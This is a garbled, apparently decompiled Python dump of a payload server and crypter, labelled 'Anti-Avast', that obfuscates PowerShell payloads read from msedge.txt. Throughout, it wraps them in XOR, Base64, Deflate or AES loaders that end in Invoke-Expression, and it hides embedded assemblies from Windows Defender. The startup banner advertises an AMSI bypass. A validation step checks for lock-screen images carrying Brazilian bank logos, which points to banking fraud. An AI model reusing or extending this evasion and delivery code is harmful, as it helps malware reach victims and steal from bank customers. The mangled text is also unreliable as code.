 | ¡ �q"qød |¡S )u,   Insere cÃ³digo morto em pontos estratÃ©gicosr‘   FrO  rP  TrQ  rR  Ú{rG  r8   r   g333333Ó?rZ   r+   r   ú )rW  r}  rH  r“   ÚaddÚendswithrX  r;   r{   Úsamplerž   ry   r˜  rH   rO   Úlstripr�   rG   )r—   rØ   r[  r\  Úprotected_linesr£   rj  rV  Úinsert_pointsr?   ÚindentÚjunkrB   rB   rC   Úapply_junk_codeR  s<    


rs  c                 C   sV   t j|  d¡dd�}t |¡ ¡ }tƒ }tƒ }d|› d|› d|› d|› d|› d	�}|S )
u-   Comprime e codifica o cÃ³digo final em Base64rp   r1  )Úlevelz# Auto-generated loader
z = 'z'
z� = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String(zd)),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression r‘   )ÚzlibÚcompressrU   rS   rT   rV   rP   )r—   Ú
compressedÚb64_compressedÚ
loader_varÚdecompress_varrv  rB   rB   rC   Úapply_final_compression}  s     ÿÿþÿþr{  )r  rc   rû   r¨   c                    sH  t r:tt |¡t |¡tƒ d�}| ¡ }| | ¡| 	¡  S dddddddd	d
dddddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dd€d�d‚dƒd„d…d†d‡dˆd‰dŠd‹dŒd�dŽd�d�d‘d’d“d”d•d–d—d˜d™dšd›dœd�dždŸd d¡d¢d£d¤d¥d¦d§d¨d©dªd«d¬d­d®d¯d°d±d²d³d´dµd¶d·d¸d¹dºd»d¼d½d¾d¿dÀdÁdÂdÃdÄdÅdÆdÇdÈdÉdÊdËdÌdÍdÎdÏdÐdÑdÒdÓdÔdÕdÖd×dØdÙdÚdÛdÜdÝdÞdßdàdádâdãdädådædçdèdédêdëdìdídîdïdðdñdòdódôdõdöd÷dødùdúdûdüdýdþdÿ�d �d�g ‰ddld2dÁd~dVdtd<dFd&g
‰ �d�d„ ‰‡f�d�d„‰‡ ‡f�d�d„}�d�d	„ ‰‡f�d
�d„‰�d�d„ ‰‡f�d�d„‰‡‡‡‡f�d�d„}||ƒ}�d}|}	t
dTt| ƒd~ƒD ]H}
| |
|
d~ … }t�d�d„ t||	ƒD ƒƒ}|||ƒ}||7 }|}	�qú|S (  uŸ   
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponÃ­vel (100x mais rÃ¡pido)
    Fallback para implementaÃ§Ã£o pura Python se nÃ£o tiver
    rî   éc   é|   éw   é{   éò   ék   éo   éÅ   é0   rZ   ég   é+   r[   é×   é«   év   éÊ   é‚   éÉ   é}   éú   éY   éG   éð   é­   éÔ   é¢   é¯   éœ   é¤   ér   éÀ   é·   éý   é“   é&   é6   é?   é÷   éÌ   é4   é¥   éå   éñ   éq   éØ   é1   é   r   éÇ   é#   éÃ   r0  é–   r2   éš   ru   é   é€   éâ   éë   é'   é²   éu   r1  éƒ   é,   é   é   én   éZ   é    éR   é;   éÖ   é³   é)   éã   é/   é„   éS   éÑ   r   éí   rì   éü   é±   é[   éj   éË   é¾   é9   éJ   éL   éX   éÏ   éÐ   éï   éª   éû   éC   éM   é3   é…   éE   éù   rj   é   rc  é<   éŸ   é¨   éQ   é£   é@   é�   é’   é�   é8   éõ   é¼   é¶   éÚ   r!  rí   r¾   éó   éÒ   éÍ   é   é   éì   é_   é—   éD   é   éÄ   é§   r"  é=   r0   é]   é   és   é`   é�   éO   éÜ   é"   é*   é�   éˆ   éF   éî   é¸   é   éÞ   é^   é   éÛ   éà   rk   é:   r'  éI   r7   é$   é\   éÂ   éÓ   é¬   éb   é‘   é•   éä   éy   éç   r1   é7   ém   é�   éÕ   éN   é©   él   éV   éô   éê   ée   éz   é®   r   éº   éx   é%   é.   é   é¦   é´   éÆ   éè   éÝ   ét   é   éK   é½   é‹   éŠ   ép   é>   éµ   éf   éH   r   éö   é   éa   é5   éW   é¹   é†   éÁ   é   éž   éá   éø   é˜   é   éi   éÙ   éŽ   é”   é›   rº   é‡   éé   éÎ   éU   é(   éß   éŒ   é¡   é‰   é   é¿   éæ   éB   éh   éA   é™   é-   r‹   é°   éT   é»   é   c                 S   s$   | d@ r| d> dA d@ S | d> d@ S )Nr°  rZ   r¹  r¾   rB   )ÚarB   rB   rC   Úxtime¹  s    zaes_encrypt_cbc.<locals>.xtimec                    s¸   | d | d A | d A | d A }| d }| d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d |A ƒA N  < | S )Nr   rZ   rj   r   rB   )rd  ÚtÚu)re  rB   rC   Úmix_single_column¼  s     $$$ z*aes_encrypt_cbc.<locals>.mix_single_columnc                    sÆ   t | ƒ‰tddƒD ]®‰ ˆˆ d d ˆ d … ‰ˆ d dkr‚ˆdd … ˆd d…  ‰‡fdd„ˆD ƒ‰ˆd  ˆˆ d d  N  < nˆ d dkr ‡fdd„ˆD ƒ‰ˆ ‡ ‡‡fd	d„tdƒD ƒ¡ qˆS )
Nr   rÞ  rZ   r   r   c                    s   g | ]}ˆ | ‘qS rB   rB   ©r>   r¦  ©ÚSBOXrB   rC   r&  Ë  s     z:aes_encrypt_cbc.<locals>.key_expansion.<locals>.<listcomp>c                    s   g | ]}ˆ | ‘qS rB   rB   ri  rj  rB   rC   r&  Î  s     c                    s(   g | ] }ˆˆ d  d |  ˆ| A ‘qS )r   r   rB   )r>   Új©r£   Úkey_scheduleÚtemprB   rC   r&  Ï  s     )rI  rH   Úextendrb   )ÚRCONrk  rm  rC   Úkey_expansionÅ  s    "z&aes_encrypt_cbc.<locals>.key_expansionc                 S   s.   t dƒD ] }| |  ||d |  N  < q| S )Nrí   ©rH   )Ústatern  Úroundr£   rB   rB   rC   Úadd_round_keyÒ  s    z&aes_encrypt_cbc.<locals>.add_round_keyc                    s   ‡ fdd„| D ƒS )Nc                    s   g | ]}ˆ | ‘qS rB   rB   ri  rj  rB   rC   r&  Ø  s     z6aes_encrypt_cbc.<locals>.sub_bytes.<locals>.<listcomp>rB   ©rt  rj  rB   rC   Ú	sub_bytes×  s    z"aes_encrypt_cbc.<locals>.sub_bytesc                 S   sd   | d | d | d | d | d | d | d | d | d	 | d
 | d | d | d | d | d | d gS )Nr   r2   r'  r‹   r   r1  r=  r   r   rX  rj   ru   rï  rZ   r7   r
  rB   rw  rB   rB   rC   Ú
shift_rowsÚ  s"                üz#aes_encrypt_cbc.<locals>.shift_rowsc                    sJ   t dƒD ]<}| |d |d d … }ˆ |ƒ}|| |d |d d …< q| S )Nr   rZ   rs  )rt  r£   Úcol)rh  rB   rC   Úmix_columnsâ  s
    z$aes_encrypt_cbc.<locals>.mix_columnsc                    sl   t | ƒ}ˆ ||dƒ}tddƒD ](}ˆ|ƒ}ˆ|ƒ}ˆ|ƒ}ˆ |||ƒ}qˆ|ƒ}ˆ|ƒ}ˆ ||dƒ}t|ƒS )Nr   rZ   r=  )rI  rH   rò   )Úblockrn  rt  ru  )rv  r{  ry  rx  rB   rC   Úencrypt_blocké  s    z&aes_encrypt_cbc.<locals>.encrypt_blockr‰   c                 s   s   | ]\}}||A V  qd S r9   rB   )r>   rd  r¦  rB   rB   rC   rD   ü  s     z"aes_encrypt_cbc.<locals>.<genexpr>)ró   r
   r   rô   r   rõ   r   rö   r÷   rø   rH   ry   rò   Úzip)r  rc   rû   rþ   rö   rr  r}  rn  r   Ú
prev_blockr£   r|  ÚxoredÚencrypted_blockrB   )rq  rk  rv  r{  rh  ry  rx  re  rC   Úaes_encrypt_cbc—  s0                                                                                                                                                                                                                                                   ð	
r‚  c              ;      s¢  t  d¡}t  d¡}t |¡ ¡ }t |¡ ¡ }d}|t|  d¡ƒ|  }| t|ƒ|  }t| d¡||ƒ}t |¡ ¡ ‰ ‡ fdd„t	dtˆ ƒdƒD ƒ}	d 
|	¡}
td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}d
|› d|
› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d|› d |› d!�;}|S )"u3   Criptografa o payload para ficar ilegÃ­vel em discorì   rí   rp   c                    s   g | ]}ˆ ||d  … ‘qS )rc  rB   ©r>   r£   ©rM  rB   rC   r&    s     z)apply_disk_encryption.<locals>.<listcomp>r   rc  r‘   r7   z+$ErrorActionPreference='SilentlyContinue'
$z=@"
z
"@
$rC  z')
$z/=[System.Security.Cryptography.Aes]::Create()
$z.Key=$z;$z.IV=$z.Mode='CBC';$z.Padding='PKCS7'
$z=$z.CreateDecryptor()
$z5=[IO.MemoryStream]::new([Convert]::FromBase64String($z))
$z,=[Security.Cryptography.CryptoStream]::new($z,$z
,'Read')
$z=[IO.StreamReader]::new($z)
$z.ReadToEnd()
$z
.Close();$z%.Dispose()
& ([ScriptBlock]::Create($z)) @args)rª   rñ   rS   rT   rV   ry   rU   Úchrr‚  rH   rG   rL   )r—   rc   rû   rN  Úiv_b64Ú
block_sizeÚpadding_lenÚpadded_coder   Úencrypted_linesr�  rY  Úv_ivÚv_datarZ  r[  r\  r]  r^  Úv_plainrv  rB   r„  rC   Úapply_disk_encryption  s     


ÿþüüûûúúüúûúúøú	÷ÿ
ö	÷øõ
öôõõ
ö	÷úôrŽ  i,  rS  )rb  Ú
batch_sizeÚreverse_chunk_linesÚdirect_assign)Úb64_contentÚ
output_varrb  r�  r�  r‘  r¨   c                   s
  ddddddddg‰t  d	d
¡‰t‡fdd„| D ƒƒ}t |¡ ¡ ‰‡‡fdd„tdtˆƒˆƒD ƒ}g }tƒ }	tt|ƒƒD ]b}
dt  	ˆ¡ t
dƒ t|
dƒ }||	krÈdt  	ˆ¡ t
dƒ t|
dƒ }qž|	 |¡ | |¡ qzg ‰|rútt|ƒd ddƒn
tt|ƒƒ}|D ]$}ˆ || › d|| › d�¡ �q
‡ ‡‡fdd„}||ƒ}dt
dƒ }dt  	ˆ¡ t
dƒ }ˆ |› dˆ› �¡ ˆ |› d|› d�¡ d|› d|› d�}|�rÂˆ |› d|› �¡ n>dt  	ˆ¡ t
dƒ }ˆ |› d|› �¡ ˆ |› d|› �¡ d  ˆ¡S )!z¦
    Gera bloco PowerShell que restaura b64_content via XOR + chunks.
    v8.3: nomes unicos por indice + concat em lotes (evita corrupcao em asmC/asmG grandes).
    ÚCacheÚConfigÚPolicyÚUpdateÚModuleÚStoreÚDataÚBufferr!  r"  c                    s   g | ]}t |ƒˆ A ‘qS rB   r#  r`   r$  rB   rC   r&  C  s     z*build_xor_b64_ps_block.<locals>.<listcomp>c                    s   g | ]}ˆ||ˆ  … ‘qS rB   rB   rƒ  )rb  r)  rB   rC   r&  E  s     r   ú$_r2   r9  rZ   rv   rŠ   rq   c                    sê   t | ƒˆ kr@dt ˆ¡ tdƒ }ˆ |› d�d | ¡ ¡ |S g }tdt | ƒˆ ƒD ]`}| ||ˆ  … }dt ˆ¡ tdƒ d t|ˆ  dƒ }ˆ |› d�d |¡ ¡ | |¡ qTdt ˆ¡ tdƒ }ˆ |› d�d |¡ ¡ |S )	Nrœ  r   r‡   rs   r   ÚBr9  r   )ry   r;   r<   rL   r{   rG   rH   Úformat)Ú	vars_listÚ
concat_varÚpartialsÚ	batch_idxÚbatchÚpartial_var)r�  Úlegit_namesrØ   rB   rC   Úappend_concatU  s    (z-build_xor_b64_ps_block.<locals>.append_concatz$_kr   r‡   r:  rt   z-join(r;  rÂ   r‘   )r;   rO   rò   rS   rT   rV   rH   ry   r}  r<   rL   rž  rk  r{   rG   )r’  r“  rb  r�  r�  r‘  r(  r+  r>  Úusedr,  rñ  Úindicesr£   r¦  r   Úkey_varÚ
decode_varÚ	join_exprÚ
result_varrB   )r�  rb  r¥  rØ   r%  r)  rC   Úbuild_xor_b64_ps_block4  s<      "
$"r­  c                 C   s   d}dd„ }t  ||| ¡}|S )u	  
    Protege assemblies Base64 contra detecÃ§Ã£o estÃ¡tica do W11 Defender.
    
    v8.3 - Corrige corrupcao em assemblies grandes (asmC/asmG):
    - Nomes unicos por indice (sem colisao de variaveis PS)
    - Concat em lotes de 40 (evita limite de expressao)
    z:(\$script:_asm[A-G]_b64)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s   t |  d¡|  d¡ƒS )Nrj   rZ   ©r­  rz  ©rð  rB   rB   rC   Úprotect_single_assembly€  s    z8protect_assembly_base64.<locals>.protect_single_assembly©rx  r÷  )r—   Úasm_patternr°  Úprotected_coderB   rB   rC   Úprotect_assembly_base64t  s    
r´  c                 C   s   | S )z’
    Protege assemblies inline (aqueles usados diretamente em here-strings).
    Formato: [Convert]::FromBase64String('$($script:_asmF_b64)')
    rB   r
  rB   rB   rC   Úprotect_inline_assembly‰  s    rµ  c                 C   s   d}dd„ }t  ||| ¡S )zE
    Protege a DLL de esconder janela ($_qh) que aparece inline.
    z)(\$_qh)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s   t |  d¡|  d¡ddd�S )Nrj   rZ   FT)r�  r‘  r®  r¯  rB   rB   rC   Ú
protect_qhœ  s    üz$protect_hide_dll.<locals>.protect_qhr±  )r—   Ú
qh_patternr¶  rB   rB   rC   Úprotect_hide_dll”  s    r¸  c                 C   s"   d}dd„ t  ||  dd¡¡D ƒS )Nz:\$script:_asm([A-G])_b64\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s&   i | ]}d |  d¡› d�|  d¡“qS )ú$script:_asmrZ   Ú_b64rj   rï  )r>   ÚmrB   rB   rC   Ú
<dictcomp>©  s   ÿ z0_extract_asm_b64_from_source.<locals>.<dictcomp>ú
r‘   )rx  rô  rõ  )r—   ÚpatrB   rB   rC   Ú_extract_asm_b64_from_source§  s    þr¿  )Ú	protectedc           
      c   sè   |   dd¡} t d¡}| | ¡D ]Â}d| d¡› d�}| ¡ }|  d|¡}|dk r\t| ƒ}n|d7 }|  dd|¡}d}|dkrÐ|  dd|¡d }| ||d …  	¡ }	|	 
d¡s¸|d }qÐ|dkrÆd}qÐ|d	 }qv|| ||… fV  q d S )
Nr½  r‘   z\$script:_asm([A-G])_b64=r¹  rZ   rº  r   rœ  rj   )rõ  rx  Úcompilerô  rz  r¤   r™  ry   Úrfindr“   rX  )
rÀ  r¾  r»  rñ  Ú
assign_posÚline_endr   r¤   Ú
line_startrj  rB   rB   rC   Ú_iter_xor_asm_blocks¯  s,    



rÆ  )Úps_blockr¨   c                    s¬   |   dd¡} i ‰ |  d¡D ]:}| ¡ }|s,qt d|¡}|r| d¡ ¡ ˆ | d¡< qt d|  ¡ ¡}|srtdƒ‚dtd	œ‡ ‡fd
d„‰ˆ| d¡ƒ}t	|tƒs¨tdƒ‚|S )uL   Replica a logica do bloco PS (chunks + XOR) em Python â€” funciona no Linux.r½  r‘   z^(\$[\w:]+)=(.+)$rj   rZ   z"(\$script:_asm[A-G]_b64)=(\S+)\s*$z+saida asm nao encontrada no bloco protegidoN)rñ  c           
         s¨  |d krt ƒ }| |kr$td| › �ƒ‚| | ¡ | ˆkrDtd| › �ƒ‚ˆ|  }t d|¡}|rŽˆ| d¡|ƒ}t|tƒs„td| › �ƒ‚t 	|¡S t d|¡}|röˆ| d¡|ƒ}t|t
tfƒsÊtd| › �ƒ‚tˆ| d¡|ƒƒ‰ d	 ‡ fd
d„|D ƒ¡S | d¡�r| d¡�r|dd… S t d|¡�r,|S d|k�rˆg }| d¡D ]8}ˆ| ¡ |ƒ}	t|	tƒ�sptd| › �ƒ‚| |	¡ �qDd	 |¡S td| › d|d d… › �ƒ‚d S )Nzreferencia circular em zvariavel indefinida no bloco: z)\[Convert\]::FromBase64String\((\$_\w+)\)rZ   z+base64 invalido antes de FromBase64String: z6-join\((\$_\w+)\|%\{\[char\]\(\$_ -bxor (\$_\w+)\)\}\)z bytes esperados antes do -join: rj   r8   c                 3   s   | ]}t |ˆ A ƒV  qd S r9   )r…  ri  rb   rB   rC   rD   ó  s     z?_restore_b64_from_xor_block.<locals>.resolve.<locals>.<genexpr>rq   rv   z-?\d+rs   zchunk nao textual em zexpressao nao suportada em ú: rc  )r}  Ú
ValueErrorrk  rx  rð  rz  Ú
isinstancer^   rS   Ú	b64decoderò   Ú	bytearrayr{  rG   rX  rl  Ú	fullmatchrW  r“   r{   )
rñ  ÚseenÚexprÚb64convr  Újoin_mr  r~   r&  Úval©ÚassignsÚresolverb   rC   rÕ  Ù  sJ    


þ

z,_restore_b64_from_xor_block.<locals>.resolvez$bloco XOR nao produziu string base64)N)
rõ  rW  r“   rx  rð  rz  ry  rÉ  r^   rÊ  )rÇ  rj  r»  Úout_mr  rB   rÓ  rC   Ú_restore_b64_from_xor_blockÉ  s"    -
r×  )Úsource_before_protectrÀ  r¨   c                 C   s  t | ƒ}|sdS tt|ƒƒ}| ¡ D ]â\}}| |¡}|sHtd|› �ƒ‚zt|ƒ}W n8 tk
rŒ } ztd|› d|› �ƒ|‚W 5 d}~X Y nX ||kr¦td|› d�ƒ‚|dkr$t 	|¡}	d 
d	¡}
d
 
d	¡}|	 |
¡}|	 |¡}|dk sð|dk r$td|› d|› d�ƒ‚q$dS )zš
    v8.3: Decodifica blocos XOR em Python e compara com o b64 original.
    Impede servir asmC/asmG corrompidos (logos/banners das travas BB/Caixa).
    Nzbloco XOR ausente para zvalidacao XOR falhou em rÈ  zassembly corrompido apos XOR: z (conteudo diverge)z$script:_asmG_b64z/9j/zutf-16leÚiVBORw0KGgorZ   rj   zasmG sem assets de trava (jpeg=z, png=z); logos/banners ausentes)r¿  ÚdictrÆ  rö  ÚgetrÉ  r×  r¶   rS   rË  rU   Úcount)rØ  rÀ  ÚexpectedÚblocksrñ  rX   r|  Úrestoredr¸   r  Újpeg_patÚpng_patÚjpeg_nÚpng_nrB   rB   rC   Úvalidate_protected_assemblies  s0    
(




ÿrä  c                 C   sü   |dkrt  ¡ }|  d¡r&| dd… } d| k}|  dd¡} g g ddœ}i }dd	„ }|| ƒ\} }| }t| ƒ} t| ƒ} t|| ƒ t| |ƒ} t| |ƒ} | 	¡ D ]\}}|  ||¡} q˜| 
d
d¡rÒt| |ƒ\} }	}
|
t|	< | 
dd¡rèt| ƒ} n |rø|  dd¡} | S )uÏ   
    Aplica TODAS as camadas de proteÃ§Ã£o do proteger.py v8.1.
    Esta funÃ§Ã£o Ã© thread-safe (nÃ£o usa estado global mutÃ¡vel).
    
    v8.1: Adicionada proteÃ§Ã£o de assemblies contra W11 Defender
    Nu   ï»¿rZ   r½  r‘   r   r,   c           	      S   sŠ   i }dg}ddddg}|D ]f\}}t  || t j¡}|r| d¡}d| ¡ › d|d › d�}|||< |  ||d	¡} |d  d	7  < q| |fS )
Nr   )z>(\$script:_dxgiWorkerSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)Údxgi)z;(\$script:_dpiDxgiSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)Údpi)z8(\$NativeCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)Únative)z9(\$SpawnerCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)ÚspawnerÚ__HERESTRING_r?   r¤  rZ   )rx  ry  ÚDOTALLrz  Úupperrõ  )	Úcode_strÚplaceholdersÚplaceholder_idxr@  rg  rK   rð  Ú
full_matchrû  rB   rB   rC   Úextract_herestringsS  s     û
z2protect_code_complete.<locals>.extract_herestringsr   Tr*   F)r˜  ÚcopyrX  rõ  r´  r¸  rä  r’  r2  rö  rÛ  rw  Ú_aes_pending_keysrŽ  )r—   r/  Úoriginal_has_crlfr  Úherestring_placeholdersrð  Úasm_before_xorrû  r  Ú_key_idÚ_key_b64rB   rB   rC   Úprotect_code_complete1  s:    
ý




rø  c                   @   s¼   e Zd ZdZdd„ Zeejdœdd„Zee	dœdd„Z
eee dœd	d
„Zdd„ Zedœdd„Zd eedœdd„Zeee dœdd„Zedœdd„Zedœdd„Zdd„ Zedœdd„ZdS )!ÚCodePoolu‘   
    Pool de cÃ³digos prÃ©-gerados.
    - Gera cÃ³digos em background
    - Cliente recebe cÃ³digo instantÃ¢neo
    - ZERO perda de clientes
    c                 C   sv   i | _ i | _i | _i | _i | _t ¡ | _t 	¡ | _
d| _dddddœ| _ttd ƒD ]}tj| jdd�}| ¡  qTd S )NTr   )Ú	generatedÚserved_from_poolÚserved_generatedÚtotal_requestsr6   )ÚtargetÚdaemon)ÚpoolsÚ	key_poolsÚsource_cacheÚsource_mtimeÚlocksÚ	threadingÚLockÚglobal_lockÚqueueÚQueueÚgenerator_queueÚrunningÚstatsrH   ÚPOOL_CONFIGÚThreadÚ_generator_workerr¤   )Úselfr£   rf  rB   rB   rC   Ú__init__¥  s     

üzCodePool.__init__)Úfolderr¨   c              
   C   s@   | j �0 || jkr t ¡ | j|< | j| W  5 Q R £ S Q R X d S r9   )r  r  r  r  ©r  r  rB   rB   rC   Ú	_get_lock¹  s    
zCodePool._get_lockc                 C   sd   t d }t d }|r$tj |||¡ntj ||¡}tj |¡sBdS tj |¡}| j |d¡}||kS )z/Verifica se o arquivo msedge.txt foi modificador   r   Fr   )ÚSERVER_CONFIGrª   r«   rG   r¬   Úgetmtimer  rÛ  )r  r  ÚbaseÚsrcr«   ÚmtimeÚcached_mtimerB   rB   rC   Ú_check_file_changed¿  s    "zCodePool._check_file_changedc              
   C   s¢  t d }t d }|r$tj |||¡ntj ||¡}tj |¡sBd S tj |¡}|| jkrt| j |d¡|krt| j| S zêt	|dƒ�}| 
¡ }W 5 Q R X | d¡r°|dd …  d¡n| d¡}|| jk}	|| j|< || j|< || jk�r8t| j| ƒ}
|  |¡� | j|  ¡  W 5 Q R X |	�r8td|�p(d	› d
|
› d�ƒ td|�pDd	› dt|ƒd›d�ƒ |W S  tk
�rœ } ztd|› d|› �ƒ W Y ¢d S d }~X Y nX d S )Nr   r   r   Úrbs   ï»¿r   rp   z&[RELOAD] *** msedge.txt ATUALIZADO em Úraizz! Pool limpo (z payloads descartados) ***z[CACHE] Carregado rÈ  r\   z charsz[ERRO] Carregar )r  rª   r«   rG   r¬   r  r  r  rÛ  r®   ÚreadrX  rV   r   ry   r  Úclearr·   r¶   )r  r  r  r  r«   r  r±   r  r—   Ú
was_cachedÚold_sizer¸   rB   rB   rC   Ú_load_sourceÍ  s4    "
&


"zCodePool._load_sourcec              
   C   s|   | j rxz&| jjdd�}|  |¡ | j ¡  W q  tjk
rF   Y q Y q  tk
rt } ztd|› �ƒ W 5 d }~X Y q X q d S )NrZ   )Útimeoutz[ERRO] Generator: )	r  r
  rÛ  Ú_generate_oneÚ	task_doner  ÚEmptyr¶   r·   )r  r  r¸   rB   rB   rC   r  ò  s    
zCodePool._generator_worker©r  c              
   C   sv  |   |¡}|sd S �zt ¡ }i at|ƒ}t ¡ | d }|  |¡�š || jkrdttd d�| j|< || jkr‚ttd d�| j|< | j|  	|¡ t
tƒ}i a| ¡ D ]2\}}| j|  	||f¡ tƒ }	||	|< t|	ƒ q¦W 5 Q R X | jd  d7  < t| j |g ¡ƒ}
td|�pd› d|d	›d
|
› d�ƒ W nB tk
�rp } z"td|› �ƒ dd l}| ¡  W 5 d }~X Y nX d S )Nr“  r4   )Úmaxlenrú  rZ   z[POOL] Gerado para r  z em ú.0fz
ms (pool: rt   u   [ERRO] Gerar cÃ³digo: r   )r"  Útimerò  rø  r  r   r   r  r  r{   rÚ  rö  r²   r¹   r  ry   rÛ  r·   r¶   Ú	tracebackÚ	print_exc)r  r  Úsourcer¤   rÀ  ÚelapsedÚpendingÚkidÚkvalr³   Ú	pool_sizer¸   r+  rB   rB   rC   r$  ý  s8    


(zCodePool._generate_onerZ   )r  rÜ  c                 C   s   t |ƒD ]}| j |¡ qd S r9   )rH   r
  Úput)r  r  rÜ  r?   rB   rB   rC   Ú_request_generation  s    zCodePool._request_generationc              
   C   sÐ  | j d  d7  < |r | d¡nd}td }td }|rHtj |||¡ntj ||¡}tj |¡�r”tj |¡}| j 	|d¡}||k�r”t
dƒ t
d	|pšd
› d�ƒ t
d|› �ƒ t
d|› �ƒ t
d|› �ƒ t
dƒ |  |¡�ž || jk�rt| j| ƒ}| j|  ¡  t
d|› d�ƒ || jk�rRt| j| ƒ}| j|  ¡  t
d|› d�ƒ || jk�rf| j|= || jk�rz| j|= W 5 Q R X t
dƒ t
dƒ |  |¡}	|	�s¨d S |  |¡�š || jk�rH| j| �rH| j|  ¡ }
t| j| ƒ}| j d  d7  < |td k �r|  |td | ¡ t
d|�p(d
› d|› d�ƒ |
W  5 Q R £ S W 5 Q R X t
d|�p^d
› d�ƒ i at|	ƒ}| j d  d7  < ttƒ}i a| ¡ D ] \}}tƒ }|||< t|ƒ �qš|  |td ¡ |S )Nrý  rZ   ú/r8   r   r   r   z6[AUTO-RELOAD] ========================================u$   [AUTO-RELOAD] MUDANÃ‡A DETECTADA em r  ú!z[AUTO-RELOAD] Arquivo: z[AUTO-RELOAD] mtime atual: z[AUTO-RELOAD] mtime cache: z[AUTO-RELOAD] Limpando TUDO...z[AUTO-RELOAD] Pool limpo: z payloads descartadosz[AUTO-RELOAD] Keys limpos: z chaves descartadasu1   [AUTO-RELOAD] Pronto! PrÃ³ximo payload serÃ¡ NOVOrû  r5   r3   z[POOL] Servido do pool z
 (restam: rt   z[POOL] Pool vazio para z, gerando...rü  )r  r“   r  rª   r«   rG   r¬   r  r  rÛ  r·   r  r   ry   r  r  r  r"  Úpopleftr  r4  rò  rø  rÚ  rö  r²   r¹   )r  r  r  r  r«   Úcurrent_mtimer  Úold_poolÚold_keysr-  r—   r2  rÀ  r/  r0  r1  r³   rB   rB   rC   Úget_code"  sl    "

zCodePool.get_codec                 C   s(   t d|p
d› d�ƒ |  |td ¡ d S )Nu   [WARMUP] PrÃ©-gerando para r  z...r3   )r·   r4  r  r  rB   rB   rC   Úwarmupn  s    zCodePool.warmupr§   c              
   C   s¸   t d }t d }g }tj tj ||¡¡r4| d¡ zNt |¡D ]>}tj ||¡}tj |¡r@tj tj ||¡¡r@| |¡ q@W n0 tk
r² } zt	d|› �ƒ W 5 d}~X Y nX |S )u,   Descobre todas as pastas que tÃªm msedge.txtr   r   r8   z[ERRO] Ao escanear pastas: N)
r  rª   r«   r¬   rG   r{   ÚlistdirÚisdirr¶   r·   )r  r  r  ÚfoldersÚitemÚ	item_pathr¸   rB   rB   rC   Údiscover_foldersr  s    
 zCodePool.discover_foldersc                 C   sN   |   ¡ }tdt|ƒ› dtd › �ƒ |D ] }|  |¡ td|p@d› �ƒ q(dS )u/   PrÃ©-aquece TODAS as pastas que tÃªm msedge.txtz[WARMUP] Encontradas z pasta(s) com r   z[WARMUP] Iniciado: r  N)rB  r·   ry   r  r<  )r  r?  r  rB   rB   rC   Ú
warmup_allˆ  s
    
zCodePool.warmup_allc                 C   sD   dd„ | j  ¡ D ƒ}| jd | jd | jd | jd || j ¡ dœS )Nc                 S   s   i | ]\}}|pd t |ƒ“qS ©r  )ry   )r>   r±   ÚprB   rB   rC   r¼  ’  s      z&CodePool.get_stats.<locals>.<dictcomp>rú  rû  rü  rý  )rú  rû  rü  rý  Ú
pool_sizesÚ
queue_size)r   rö  r  r
  Úqsize)r  Ú
pools_inforB   rB   rC   Ú	get_stats‘  s    úzCodePool.get_statsN)rZ   )Ú__name__Ú
__module__Ú__qualname__Ú__doc__r  r^   r  r  r  Úboolr  r   r"  r  r$  r{  r4  r;  r<  rI  rB  rC  rÚ  rJ  rB   rB   rB   rC   rù  �  s   %!L	rù  )ÚFastAPI)ÚPlainTextResponsez:ERRO: pip3 install fastapi uvicorn --break-system-packagesrZ   z(Servidor Completo + Pool v8.6 Anti-Avastz8.6)ÚtitleÚversionr¤   Ústartupc                   Ã   s°   t  ¡ td< tƒ  tdƒ tdƒ tdƒ tdƒ tdƒ tdƒ tdƒ tdƒ td	ƒ td
ƒ tdƒ tƒ  tdtd › dtd › �ƒ tdtd › �ƒ tƒ  t ¡  d S )Nr¤   zN==============================================================================z/  SERVIDOR v8.6 - ANTI-AVAST (W10/W11 Home/Pro)z/  [OK] ZERO PERDA DE CLIENTES - Sistema de poolz1  [OK] PRE-AQUECE TODAS AS PASTAS AUTOMATICAMENTEzB  [v8.6] Strings Win32 API fragmentadas (CreateProcessAsUser, etc)z<  [v8.6] Strings de rede fragmentadas (TcpClient, WebClient)z'  [v8.6] Caminhos de registro ofuscadosz$  [v8.5] DeflateStream em vez de AESz4  [v8.2] AMSI bypass hibrido PS5/PS7 (pAppName null)z[OK] Pool: min=r3   z, max=r4   z[OK] Threads geradoras: r6   )r   Únowr  r·   r  Ú	code_poolrC  rB   rB   rB   rC   rT  °  s$    z	/proteger)Úresponse_classr'  c                 Ã   sp   t   ¡ }t | ¡}|d kr0td| p$d› �dd�S t   ¡ | d }td| pJd› dt|ƒd›d	|d
›d�ƒ t|ƒS )Nu&   # ERRO: msedge.txt nÃ£o encontrado em r  é”  ©Ústatus_coder“  z[OK] z -> r\   z
 chars em r)  r¬  )r*  rV  r;  rQ  r·   ry   )r  r¤   r—   r.  rB   rB   rC   ÚprotegerÊ  s    
(r[  z/warmupc                 Ã   s   t  | ¡ d| pddœS )Nz
warming upr  )Ústatusr  )rV  r<  r'  rB   rB   rC   r<  Ø  s    
